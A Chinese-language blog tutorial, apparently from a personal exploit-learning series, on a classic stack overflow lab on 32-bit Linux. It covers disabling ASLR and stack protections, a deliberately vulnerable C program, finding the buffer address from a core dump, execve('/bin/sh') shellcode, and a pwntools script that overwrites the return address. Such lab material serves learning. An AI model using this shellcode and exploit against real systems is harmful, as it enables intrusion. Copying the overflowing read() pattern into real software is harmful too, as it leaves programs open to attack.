1. 程式人生 > 實用技巧 >PWN頭禿之旅 - 5.經典棧溢位實驗(linux_x86)

PWN頭禿之旅 - 5.經典棧溢位實驗(linux_x86)

前兩天無意間看到一篇大神的文章,裡面講了經典棧溢位,看完之後才發現咱屢戰屢敗的經典棧溢位實驗除了偏移量計算問題,還有另外一個大坑>_<。預感這倆問題解決之後咱的經典棧溢位實驗會迎來曙光~

為了減少不必要的麻煩,重新安裝了32位ubuntu虛擬機器,再按如下順序安裝pwntools:

sudo apt-get install python-pip 
sudo apt-get install libffi-dev libssl-dev
pip install -U setuptools
pip install pwntools

pwntools安裝成功:

找一段存在棧溢位漏洞的程式程式碼:

#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}
View Code

經典棧溢位實驗的前提有兩個:

1.關閉地址隨機化,關閉方法如下:

echo 0 > /proc/sys/kernel/randomize_va_space

2.關閉NX和棧保護,因為要需要執行自己寫的shellcode。在編譯程式時加上引數-fno-stack-protector和-z execstack即可:

gcc -fno-stack-protector -z execstack -o level1 level1.c

經典棧溢位的思路就是在程式存在緩衝區溢位時,通過覆蓋返回地址來執行惡意shellcode。下面實驗開始:

1. 計算偏移量

即計算從溢位點到函式返回點之間的偏移量。之前咱是通過慢慢累加引數長度直到程式溢位報錯來找偏移量的(雖然很蠢,但是能找到)。其實可以用IDA來找:

偏移量=0x88+0x4=140位元組,也就是說咱們需要填充140個位元組,才能覆蓋程式的返回地址。這裡的偏移量必須計算得很精確,多一個少一個位元組都不行!咱之前的失敗就是沒有加後面那4個位元組。。。

2.shellcode的執行地址

這個程式不像前面的CTF題目已經給了現成的shellcode(如system,/bin/sh),所以需要自己來找到執行shellcode的記憶體地址。這裡就是開頭說的大坑,咱之前是通過gdb除錯來找的,但是大神說gdb的除錯環境會影響buf在記憶體中的位置,即使關閉ASLR,也只能保證buf的地址在gdb除錯環境中不變,真正執行程式的時候,buf的位置會改變。

下面按照大神介紹的方法來找:

開啟core dump:

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

執行我們編譯好的程式level1,輸入140個字元:

進入tmp資料夾,看到tmp下生成了一個名為core.****的檔案

回到level1所在的資料夾,執行以下命令:

gdb level1 /tmp/core.1595989753

找到目標地址為:0xbfffef90,這個地址就是我們要找的shellcode的執行地址了~

3.構造shellcode

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

這段shellcode翻譯過來就是這句話:execve ("/bin/sh")。execve函式和system函式的作用差不多。

編寫攻擊指令碼:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level1') 
ret = 0xbfffef90

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

print payload 

p.send(payload) 

p.interactive()  
View Code

指令碼執行:

終於成功了啦啦啦(~ ̄▽ ̄)~,大神不愧為大神,給大神點贊o( ̄▽ ̄)d

最後附上大神的文章連結:http://www.vuln.cn/6645

如需轉載,請註明出處,這是對他人勞動成果的尊重~